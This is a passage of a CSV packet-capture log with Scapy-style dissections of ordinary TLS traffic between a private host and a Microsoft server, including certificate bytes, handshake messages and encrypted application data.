Cert0..\"\"0\n.\t*.H..\n..........0..\n.......w....Oh..>k.u.\t.......l>.zv.eVI.,M`y&...Z;uLC...9nP>C.x../.\t..........F.)i....\t)z.......6?.V......%.......p...........\t.k.\"\"...:..&...|..V.|.:Eb.t..s[j.tM..|G,...B9...........{:....#.7...E...'....?/?.....pH.?>.T.#.W.\t.U42..._....\tG..t.].sGB7S.1.A?\n....6..........0..0...U.......0.0...U.%..0\n..+......\t0...U.......)3e...;.-M.Ds.....^0...U.#..0...T.....}.....4dDg.u.e0...U...........0<.\t+.....7.../0-.%+.....7.........F...........]...\"\"......d...0..\t+.....7.\n..0.0\n..+......\t0..\t+.....0......0\n.\t*.H..\n..........$sM.....b..S.Z.>OF....x;.n.$c......,.b..g.....C...dO.....qni..=.w..'c....:.W...[.P...6..s..&.........M.&. .k..n.0.$..H!.3,tG9u%\n&c.3.|..V(:pfiy.......4.`.4.H..]....H..p..kj.....X3~\\x..I..Kn5{t...y.........<.....]..CM$.9R....{.gZ.g...M.\nz.\"\".D.5......*fROl..3..Dt..e..w.....z .].'D.}S.N.r.}..............J...}.....:...5L.pC.....=..^.?.......h..S..6........{Q...;`u\t....(..B....6..w5.....+....k....-.|.L?.G...W.1....V....Q.).]...@..Ay.........Bd.J\\...@.F.UA.c..N0..w..r....th....e..~.....~....NK'.....]..s.k..-..\nC{...i...a.......k...-j.8_6..f}..2..S..\"\".&6j.|......2r+Ik..#..s..R.@.3.!S.1...V.;..n...a..B.\n..[A{.:2...8......X...u..\"\"....C.[.J..Kr..o.s.c&.-....&...Q.j<...!..WI..........q<..@...F.8..V.U...m.oQ......~0........~..=.4.%.....\\...`...q..8....(..Cc.Y..u.....B .-.{.../...=.0.W.{h..D7`..F.........\tu.~.6qi.5..v.a..t.F...F.a..ny@.3.>.AZ.6.ld. ...f9...$D....DL...........w.....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1841, \"\"id\"\": 63417, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 27158, \"\"src\"\": \"\"52.97.250.242\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64004, \"\"seq\"\": 4211342556, \"\"ack\"\": 4018533813, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 55578, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"e1ee3059b41e87abb917bacc0e3b392a67bbffc332417176b28ed9d3004442d5fd3833d93ccc554c65dbe1e8a4693b683d7ee244ed134c2ca9dfcb4b89d39d573b2ee2d065a113e090a8ff15497f3d3d4ecbb8ab60c38fa082053d30820539308205353082031da003020102021343006cafa51b10b633cef1d47f0000006cafa5300d06092a864886f70d01010c05003057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f435350203034301e170d3236303632373135353031385a170d3236303732373135353031385a306e310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e06035504031317544c532d47322d5253412d3034204f435350204365727430820122300d06092a864886f70d01010105000382010f003082010a028201010092f377f98992dd4f68f5a63e6bc975fb099fa1a0128697c66c3ef97a76d4655649192c4d607926bb0bf65a3b754c4301e811396e503e43ce78b6a92f0209ace10fd5caf41ea1fb8f4680296984b9039609297abfdbac9f99a4e1363fee5607ba8db615a825c5ccbef6c3a01970ddbc8d0e03bedae2f5fdbd09886b9b22d49d903ad8ea2617ac9a7cb8c956fe7cc93a4562fc74eeb2735b6a95744dbaec7c472c1f96d442391ddfdae716ec2eb386d9b47b3aefb1a4ad23b63715a5c94514d8f027e5e8a8f93f2f3f01b49e07ee7048ab3f3e14540423c5579809fa553432fd860f5fb7ec16c30947d29774885db87347423753de31c2413f0d8cd5f6d936c7a50203010001a381e23081df300c0603551d130101ff0402300030130603551d25040c300a06082b06010505070309301d0603551d0e04160414a9293365d5c5f23b8b2d4d1644730cf0ae85195e301f0603551d23041830168014540cbcec18f77df103e284be34644467cf751f65300e0603551d0f0101ff040403020780303c06092b0601040182371507042f302d06252b060104018237150887bdd71b81e7eb4682819d2e8ed00c87f0da1d5d83d9d72281f4de1f020164020118301b06092b060104018237150a040e300c300a06082b06010505070309300f06092b060105050730010504020500300d06092a864886f70d01010c0500038202010024734df2f3a3d28662ac1853ae5ad43e4f469904e403783bf56eb32463be838194b1aa2c196291e167dab3e607d443bf9703644fdc1aceb310716e69d1e33d1777a3852763b1dbe4023ac157b4f8fa5b1c50c2d20636fda473c8f3261d849c86e1860ef6d84dc626ca20ca6bedd66e0430ef24d7cc482103332c74473975250a2663a533907cf2b456283a706669797f8b8ce3ac87ee340360e834f74817af5d97e49d2e48b8dd70889a6b6ae98108908558337e5c78f1f549af2e4b6e357b74e28fe379e5b3f8f7da89c0a9c73c930eeeec985dfbc5434d24fc3952a5878cc67b7f675ace679e170c4df40a7ac522a244c335c5829cb89caf2a66524f6cc5853310ef4474a79f65a7b477d4c9b5b2e17a20cf5dcd2744807d53ad4ecd720b7daae019e816a8fb03ce86f118f6b34a00fa047d00ddf787823aabe80b354c1c7043e9b718d6ae3d837f5eca3f82f6ade815a7c0688c9553a2063691e92ede15f5d8157b51f299a43b6075099eead5022800a642c0f6be7f36fba37735a29a1589972b16d1b9f86bf207cb192d007cc64c3f1347ba9a1d5793310587899656f0f28e0051d529925d958a0740b9104179f8cb931ea41e8cebeb4264d94a5cad02d340c5461f5541de631efa4e308be97794de72efb0c09d7468e1f9a9f965a3df7ea8c495a5117e84dfd6e14e4b2712eacbf6a35d8cff730e6bf6bc2db0ed0d437b0c0001690300186104c99cd511f0846b02e30c2d6aa0385f36e3fe667d9ead320fd153d2de228a26366af57ce5d2bdf1d7eb32722b496bb1c0231b9f73d19852ee401333b62153e2310cb8a656b83b14026e7f888061b9e742800ac6b85b417bad3a3210fca238a68e0804010058e702fb75cbd522fd06dad543db5ba44aa9ae4b72f9826fb373146326ee2d9bcbf49726059a1f511c6a3cc916f221889f574999931faae2d106ee1e1b713cac9240ac84cc46c238e1a8561e55a191e66dd36f5103ea93e3fbdf7e30fb99fb91c18110f07e8aae3ded341725181eb79cf75c85081260ae04f57193e23808cca7b628ce9e43638d598adb759788a6d1dc4220182db87b127f872fe59b013d80308a57bb7b68abf7443760a08346d4821212c5fac7fcf20975f47e8a367169b335b39c768e61040274c946a6e49046af6181156e7940ab33b63ee3415a1636bb6c649c20ffebc566390207922444ffdbe31d444c10f1e6dfa49b84a5d9998677d30e000000\"\"}}]\"\n2026-06-28 14:01:51.401524,104,TCP 10.152.152.11:64004 -> 52.97.250.242:443,10.152.152.11,52.97.250.242,64004,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,A,,,Ether > IP > TCP,3,TCP A Seq=4018533813 Ack=4211344357,bc24112907bbbc2411360d0c08004500002828fc40008006ffdc0a98980b3461faf2fa0401bbef85f5b5fb0403e550100400f9f70000,\".$.)...$.6\n...E..((.@.....\n...4a..............P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10492, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 65500, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.250.242\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64004, \"\"dport\"\": 443, \"\"seq\"\": 4018533813, \"\"ack\"\": 4211344357, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 63991, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:51.408439,105,TCP 10.152.152.11:64004 -> 52.97.250.242:443,10.152.152.11,52.97.250.242,64004,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=4018533813 Ack=4211344357,bc24112907bbbc2411360d0c0800450000c628fd40008006ff3d0a98980b3461faf2fa0401bbef85f5b5fb0403e550180400e95b000016030300661000006261049b6bf61bdaa5b3e2b42b65536bf9e24cf3de41d4c6fa591efc7f1e3787f8ccb8560eafd13dfe7bb69928425db5604e479691cfe42ef6318d082231f43ac751ce83a815b726554402154baa2d325495a22ee0702781702f6960c170bbb9a7e16914030300010116030300280000000000000000fa7de55980c001ba956f0e4befaabc1f1ff3be225563e699c4db46e3f2b65006,\"a..k.......+eSk..L..A...Y....7....V...=.{..(B].`NG......1..\"\"1.:.Q.....&UD..K.-2T....p'.p/i`.p....i\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 198, \"\"id\"\": 10493, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 65341, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.250.242\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64004, \"\"dport\"\": 443, \"\"seq\"\": 4018533813, \"\"ack\"\": 4211344357, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 59739, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 102, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientKeyExchange  msgtype=client_key_exchange msglen=98 exchkeys=<Raw  load=b'a\\\\x04\\\\x9bk\\\\xf6\\\\x1b\\\\xda\\\\xa5\\\\xb3\\\\xe2\\\\xb4+eSk\\\\xf9\\\\xe2L\\\\xf3\\\\xdeA\\\\xd4\\\\xc6\\\\xfaY\\\\x1e\\\\xfc\\\\x7f\\\\x1e7\\\\x87\\\\xf8\\\\xcc\\\\xb8V\\\\x0e\\\\xaf\\\\xd1=\\\\xfe{\\\\xb6\\\\x99(B]\\\\xb5`NG\\\\x96\\\\x91\\\\xcf\\\\xe4.\\\\xf61\\\\x8d\\\\x08\\\"\"1\\\\xf4:\\\\xc7Q\\\\xce\\\\x83\\\\xa8\\\\x15\\\\xb7&UD\\\\x02\\\\x15K\\\\xaa-2T\\\\x95\\\\xa2.\\\\xe0p\\\\'\\\\x81p/i`\\\\xc1p\\\\xbb\\\\xb9\\\\xa7\\\\xe1i' |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'\\\\xfa}\\\\xe5Y\\\\x80\\\\xc0\\\\x01\\\\xba\\\\x95o\\\\x0eK\\\\xef\\\\xaa\\\\xbc\\\\x1f\\\\x1f\\\\xf3\\\\xbe\\\"\"Uc\\\\xe6\\\\x99\\\\xc4\\\\xdbF\\\\xe3\\\\xf2\\\\xb6P\\\\x06' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:51.408450,106,TCP 52.97.250.242:443 -> 10.152.152.11:64004,52.97.250.242,10.152.152.11,443,64004,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4211344357 Ack=4018533971,bc2411360d0cbc24112907bb080045000028f7bb40004006711d3461faf20a98980b01bbfa04fb0403e5ef85f6535010003fd2110000,\".$.6\n..$.)....E..(..@.@.q.4a..\n..............SP..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 63419, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28957, \"\"src\"\": \"\"52.97.250.242\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64004, \"\"seq\"\": 4211344357, \"\"ack\"\": 4018533971, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 53777, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:51.748113,107,TCP 52.97.250.242:443 -> 10.152.152.11:64004,52.97.250.242,10.152.152.11,443,64004,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS,7,TCP PA Seq=4211344357 Ack=4018533971,bc2411360d0cbc24112907bb0800450001d3f7bc400040066f713461faf20a98980b01bbfa04fb0403e5ef85f6535018003fd3bc0000160303012e0400012a00008ca00124000000009eed9f92c46849489109b6eacd2b6cccdbd28550c3d38b54ffd50e481b85931cab697596390847bb27469ea3b9d7c5962bf53d8dbdd0f6934a701df5e82b7b70d5d8de1986f57e263c33a23ab458f4d67001b6599858919e7677dc920627ad3942a4d26bc3e48642697aa30c04d9f753a38903cd187d4f4ed4aa8b0af6795bbf4d2075c3e334210a903578b16b40b692f8d6e813a25419980479f74ca797c61741b2dbbe54a375d15bfca212e3f8edaee9c64e5934cc4509e69be8266ec350346aaeaa612d25fc53d116d359db4d13c36b86421179c3825e3a91f6bd9af1253af705060e9b9805e50483d03ad1c11a9113eb04a16389c33b2a57142682b29e66b88f8edc4357b9995254e33d88ffa0fbc2edbb079a7a05ecf4233912b6f68851140303000101160303002800000000000000009a17e23380e9a0661214f2e3f9eb82a254829ad9df7e95600452d479b68c76c517030300400000000000000001115e7ecac21e31acd3e99a6ee3d498cea5165381ed162a6db6b86be170ec75c4aabba43e85709dfd4a848430f2f23464cd587342db9d22c8,...3...f........T....~.`.R.y..v.,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 467, \"\"id\"\": 63420, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28529, \"\"src\"\": \"\"52.97.250.242\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64004, \"\"seq\"\": 4211344357, \"\"ack\"\": 4018533971, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 54204, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 302, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSNewSessionTicket  msgtype=session_ticket msglen=298 lifetime=36000 ticketlen=292 ticket=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x9e\\\\xed\\\\x9f\\\\x92\\\\xc4hIH\\\\x91\\\\t\\\\xb6\\\\xea\\\\xcd+l\\\\xcc\\\\xdb\\\\xd2\\\\x85P\\\\xc3\\\\xd3\\\\x8bT\\\\xff\\\\xd5\\\\x0eH\\\\x1b\\\\x85\\\\x93\\\\x1c\\\\xabiu\\\\x969\\\\x08G\\\\xbb'F\\\\x9e\\\\xa3\\\\xb9\\\\xd7\\\\xc5\\\\x96+\\\\xf5=\\\\x8d\\\\xbd\\\\xd0\\\\xf6\\\\x93Jp\\\\x1d\\\\xf5\\\\xe8+{p\\\\xd5\\\\xd8\\\\xde\\\\x19\\\\x86\\\\xf5~&<3\\\\xa2:\\\\xb4X\\\\xf4\\\\xd6p\\\\x01\\\\xb6Y\\\\x98X\\\\x91\\\\x9evw\\\\xdc\\\\x92\\\\x06'\\\\xad9B\\\\xa4\\\\xd2k\\\\xc3\\\\xe4\\\\x86Biz\\\\xa3\\\\x0c\\\\x04\\\\xd9\\\\xf7S\\\\xa3\\\\x89\\\\x03\\\\xcd\\\\x18}ON\\\\xd4\\\\xaa\\\\x8b\\\\n\\\\xf6y[\\\\xbfM u\\\\xc3\\\\xe34!\\\\n\\\\x905x\\\\xb1k@\\\\xb6\\\\x92\\\\xf8\\\\xd6\\\\xe8\\\\x13\\\\xa2T\\\\x19\\\\x98\\\\x04y\\\\xf7L\\\\xa7\\\\x97\\\\xc6\\\\x17A\\\\xb2\\\\xdb\\\\xbeT\\\\xa3u\\\\xd1[\\\\xfc\\\\xa2\\\\x12\\\\xe3\\\\xf8\\\\xed\\\\xae\\\\xe9\\\\xc6NY4\\\\xccE\\\\t\\\\xe6\\\\x9b\\\\xe8&n\\\\xc3P4j\\\\xae\\\\xaaa-%\\\\xfcS\\\\xd1\\\\x16\\\\xd3Y\\\\xdbM\\\\x13\\\\xc3k\\\\x86B\\\\x11y\\\\xc3\\\\x82^:\\\\x91\\\\xf6\\\\xbd\\\\x9a\\\\xf1%:\\\\xf7\\\\x05\\\\x06\\\\x0e\\\\x9b\\\\x98\\\\x05\\\\xe5\\\\x04\\\\x83\\\\xd0:\\\\xd1\\\\xc1\\\\x1a\\\\x91\\\\x13\\\\xeb\\\\x04\\\\xa1c\\\\x89\\\\xc3;*W\\\\x14&\\\\x82\\\\xb2\\\\x9ef\\\\xb8\\\\x8f\\\\x8e\\\\xdcCW\\\\xb9\\\\x99RT\\\\xe3=\\\\x88\\\\xff\\\\xa0\\\\xfb\\\\xc2\\\\xed\\\\xbb\\\\x07\\\\x9az\\\\x05\\\\xec\\\\xf4#9\\\\x12\\\\xb6\\\\xf6\\\\x88Q\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'\\\\x9a\\\\x17\\\\xe23\\\\x80\\\\xe9\\\\xa0f\\\\x12\\\\x14\\\\xf2\\\\xe3\\\\xf9\\\\xeb\\\\x82\\\\xa2T\\\\x82\\\\x9a\\\\xd9\\\\xdf~\\\\x95`\\\\x04R\\\\xd4y\\\\xb6\\\\x8cv\\\\xc5' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 64, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x11^~\\\\xca\\\\xc2\\\\x1e1\\\\xac\\\\xd3\\\\xe9\\\\x9an\\\\xe3\\\\xd4\\\\x98\\\\xce\\\\xa5\\\\x16S\\\\x81\\\\xed\\\\x16*m\\\\xb6\\\\xb8k\\\\xe1p\\\\xecu\\\\xc4\\\\xaa\\\\xbb\\\\xa4>\\\\x85p\\\\x9d\\\\xfdJ\\\\x84\\\\x840\\\\xf2\\\\xf24d\\\\xcdXsB\\\\xdb\\\\x9d\\\"\"\\\\xc8' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:51.748310,108,TCP 10.152.152.11:64004 -> 52.97.250.242:443,10.152.152.11,52.97.250.242,64004,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,A,,,Ether > IP > TCP,3,TCP A Seq=4018533971 Ack=4211344784,bc24112907bbbc2411360d0c08004500002828fe40008006ffda0a98980b3461faf2fa0401bbef85f653fb040590501003fef7b00000,\".$.)...$.6\n...E..((.@.....\n...4a.........S....P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10494, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 65498, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.250.242\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64004, \"\"dport\"\": 443, \"\"seq\"\": 4018533971, \"\"ack\"\": 4211344784, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1022, \"\"chksum\"\": 63408, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:51.749098,109,TCP 10.152.152.11:64004 -> 52.97.250.242:443,10.152.152.11,52.97.250.242,64004,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4018533971 Ack=4211344784,bc24112907bbbc2411360d0c08004500007f28ff40008006ff820a98980b3461faf2fa0401bbef85f653fb040590501803fe26b7000017030300520000000000000001caa7b98a1f25fcd69de3170acd4e9b6e9bf0f8c46e2fdc87e8e3d6415027cbdd61a25c07f7fb3655329df49997cdec076b4b2a187dd80396a672c913b4d575fb25eaedbf79b3bf9689cc,\".$.)...$.6\n...E...(.@.....\n...4a.........S....P...&.......R.............%.....\n.N.n....n/.....AP'..a.\\...6U2.......kK*.}....r....u.%...y.....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 127, \"\"id\"\": 10495, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 65410, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.250.242\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64004, \"\"dport\"\": 443, \"\"seq\"\": 4018533971, \"\"ack\"\": 4211344784, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1022, \"\"chksum\"\": 9911, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 82, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\xca\\\\xa7\\\\xb9\\\\x8a\\\\x1f%\\\\xfc\\\\xd6\\\\x9d\\\\xe3\\\\x17\\\\n\\\\xcdN\\\\x9bn\\\\x9b\\\\xf0\\\\xf8\\\\xc4n/\\\\xdc\\\\x87\\\\xe8\\\\xe3\\\\xd6AP'\\\\xcb\\\\xdda\\\\xa2\\\\\\\\\\\\x07\\\\xf7\\\\xfb6U2\\\\x9d\\\\xf4\\\\x99\\\\x97\\\\xcd\\\\xec\\\\x07kK*\\\\x18}\\\\xd8\\\\x03\\\\x96\\\\xa6r\\\\xc9\\\\x13\\\\xb4\\\\xd5u\\\\xfb%\\\\xea\\\\xed\\\\xbfy\\\\xb3\\\\xbf\\\\x96\\\\x89\\\\xcc\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:51.749108,110,TCP 52.97.250.242:443 -> 10.152.152.11:64004,52.97.250.242,10.152.152.11,443,64004,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.250.192/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4211344784 Ack=4018534058,bc2411360d0cbc24112907bb080045000028f7bd40004006711b3461faf20a98980b01bbfa04fb040590ef85f6aa5010003fd2110000,\".$.6\n..$.)....E..(..@.@.q.4a..\n...............P..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 63421, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28955, \"\"src\"\": \"\"52.97.250.242\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64004, \"\"seq\"\": 4211344784, \"\"ack\"\": 4018534058, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 53777, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:51.749115,111,TCP 10.152.152.11:64004 -> 52.97.250.242:443,10.152.152.11,52.97.250.242,64004,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft 